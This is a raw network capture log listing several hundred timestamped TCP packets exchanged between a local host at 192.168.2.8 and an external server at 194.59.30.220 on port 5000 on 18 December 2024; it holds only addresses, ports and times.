Dec 18, 2024 11:56:23.521332026 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.521414995 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.521462917 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.522373915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.522423983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.522470951 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.523293018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.523448944 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.523494959 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.524205923 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.524301052 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.524348021 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.525166988 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.525221109 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.525262117 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.536955118 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.537031889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.537097931 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.537383080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.537398100 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.537444115 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.538317919 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.538362026 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.538404942 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.539140940 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.589257002 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.672444105 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.672512054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.672590971 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.672836065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.673072100 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.673132896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.673765898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.673876047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.673919916 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.674632072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.674762964 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.674808979 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.675538063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.675625086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.675663948 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.676403046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.676472902 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.676513910 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.677324057 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.677571058 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.677617073 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.678205013 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.678316116 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.678356886 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.679157019 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.679219007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.679260015 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.680011034 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.680121899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.680164099 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.680897951 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.681005955 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.681047916 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.681794882 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.681905985 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.681946993 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.682684898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.682818890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.682858944 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.683592081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.683662891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.683703899 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.684469938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.684601068 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.684653044 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.685389042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.685507059 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.685549021 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.686319113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.686429977 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.686472893 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.687290907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.687442064 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.687490940 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.688296080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.688462019 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.688507080 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.689402103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.689541101 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.689589977 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.690510035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.690542936 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.690587997 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.691308975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.691373110 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.691417933 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.692327023 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.692426920 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.692471981 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.693312883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.693444967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.693492889 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.694163084 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.694262028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.694308043 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.695053101 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.695172071 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.695215940 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.696099997 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.696154118 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.696197033 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.696801901 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.696841002 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.696887016 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.697664976 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.697771072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.697813988 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.698421955 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.698434114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.698472977 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.699114084 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.699160099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.699198961 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.699764967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.699843884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.699891090 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.700705051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.700797081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.700839043 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.701538086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.701663971 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.701704979 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.702429056 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.702548981 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.702591896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.703342915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.703560114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.703608990 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.704329967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.704420090 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.704458952 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.705146074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.705360889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.705404997 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.706017017 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.706123114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.706173897 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.706938028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.707048893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.707094908 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.707813025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.707952976 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.707997084 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.708822966 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.708834887 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.708894968 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.709702969 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.709744930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.709788084 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.710540056 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.710649014 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.710691929 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.711414099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.711592913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.711643934 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.712312937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.712486982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.712532043 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.713201046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.713356972 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.713398933 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.714171886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.714277029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.714319944 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.715032101 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.715162039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.715228081 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.715915918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.716097116 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.716141939 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.728364944 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.728573084 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.728642941 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.728729963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.728867054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.728929996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.729756117 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.730022907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.730072021 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.730113029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.776567936 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.863615990 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.863648891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.863759041 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.864021063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.864135981 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.864186049 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.864841938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.864876986 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.864924908 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.865724087 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.865852118 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.865896940 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.866744041 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.866759062 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.866801023 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.867521048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.867630959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.867677927 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.868405104 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.868529081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.868582010 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.869391918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.869553089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.869602919 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.870254040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.870338917 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.870388031 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.871092081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.871215105 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.871260881 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.872097015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.872111082 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.872167110 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.872916937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.873178959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.873239040 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.873925924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.874005079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.874053001 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.874672890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.874808073 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.874851942 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.875576019 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.875684023 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.875721931 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.876473904 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.876529932 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.876571894 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.877357960 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.877454996 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.877496958 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.878366947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.878489017 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.878532887 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.879220963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.879365921 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.879412889 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.880098104 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.880162001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.880203962 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.880964041 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.881084919 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.881130934 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.881838083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.881972075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.882014036 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.882774115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.882870913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.882939100 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.883682013 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.883763075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.883810043 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.884551048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.884685993 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.884740114 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.885624886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.885788918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.885828972 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.886456966 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.886590004 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.886637926 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.887263060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.887371063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.887418985 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.888179064 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.888341904 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.888386965 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.889060974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.889177084 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.889228106 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.889934063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.890060902 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.890105009 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.890837908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.890935898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.890980005 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.891757011 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.891869068 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.891913891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.892780066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.892968893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.893013954 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.893769979 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.893984079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.894032955 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.894884109 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.895175934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.895221949 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.896307945 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.896505117 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.896553993 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.897094011 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.897228003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.897274971 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.897942066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.898099899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.898144960 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.899123907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.899240017 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.899287939 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.900038958 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.900149107 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.900197983 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.901099920 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.901210070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.901257038 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.902036905 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.902081013 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.902122974 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.902847052 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.902966022 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.903012991 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.904072046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.904230118 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.904284000 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.904898882 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.904987097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.905041933 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.905740023 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.905858994 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.905904055 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.906569958 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.906658888 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.906704903 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.907366991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.907519102 CET	5000	49706	194.59.30.220	192.168.2.8
